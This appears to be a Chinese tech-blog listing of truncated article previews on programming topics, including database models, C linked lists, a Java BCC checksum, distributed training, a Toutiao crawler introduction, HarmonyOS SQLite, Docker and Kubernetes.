数据库系统概论(二)数据模型 数据库系统概论(二)数据模型前言一、数据建模二、概念模型三、数据模型的三要素四、层次模型五、网状模型六、关系模型 总结(核心概念速记): 数据库系统概论&#x…...
深入理解C语言链表:数据结构的基石
在C语言的编程宇宙中,链表就像是一座稳固的基石,支撑着众多复杂程序的构建。它以独特的魅力和强大的功能,在解决各类编程难题时发挥着至关重要的作用。今天,就让我们一同深入探索链表的奥秘。 目录 一、链表初相识 二、链表的结…...
微信小程序文件存储和获取的详细方案
在微信小程序中,要根据索引(如自定义标识符)检查是否存在对应的文件,可以通过以下方案实现。这里假设你已通过某种方式将文件路径与索引关联存储(例如使用本地缓存 Storage),以下是完整流程&…...
java BCC异或校验例子
需求 对一个十六进制的字符串进行BCC校验 方法 private static String XORCheck(String rawMsg) {// 16进制字符串需要转成10进制数组进行校验,然后再返回16进制字符串用于与原来的字符匹配byte[] bytes HexDumpMsgFormat.hexStr2DesBytes(rawMsg);return BytesUt…...
[machine learning] DP(Data Parallel) vs DDP(Distributed Data Parallel)
DP和DDP是并行训练的两种方法,本文简单介绍它们两者的区别。 一、DP (Data Parallel) DP是单进程,多线程的,每个线程负责一个GPU,它只适用于一台机器。DP训练的流程如下图所示(图片转载自:https://medium.com/mlshar…...
今日头条文章爬虫教程
今日头条文章爬虫教程 随着互联网的发展,新闻资讯类平台如今日头条积累了海量的数据。对于数据分析师、研究人员等群体来说,获取这些数据进行分析和研究具有重要的价值。本文将介绍如何使用Python编写爬虫,爬取今日头条的文章数据。 一、准…...
鸿蒙应用开发—数据持久化之SQLite
文章目录 SQLite简介创建数据库添加数据查询数据更新数据删除数据升级数据库使用事务参考 SQLite简介 SQLite是一个轻量级关系数据库,占用资源很少,只有几百KB的大小,无需服务器支撑,是一个零配置、事务性的SQL数据库引擎。 相对…...
Docker Compose 部署 steamcmd 安装奈斯服务端
由于打算在云端服务器部署奈斯启示录服务端跟朋友们一起玩, 所以在云端搭建服务器, 顺便写下本文章记录搭建的过程。 博主博客 https://blog.uso6.comhttps://blog.csdn.net/dxk539687357 要使用 Docker Compose 部署 steamcmd(Steam 命令行…...
K8s 1.27.1 实战系列(八)Service
一、Service介绍 1、Service 的作用与核心功能 Service 是 Kubernetes 中用于抽象一组 Pod 并提供稳定访问入口的资源。它解决了以下问题: Pod IP 不固定:Pod 可能因故障、扩缩容或更新导致 IP 变化,Service 通过 ClusterIP(虚拟 IP)提供固定访问地址。负载均衡:自动…...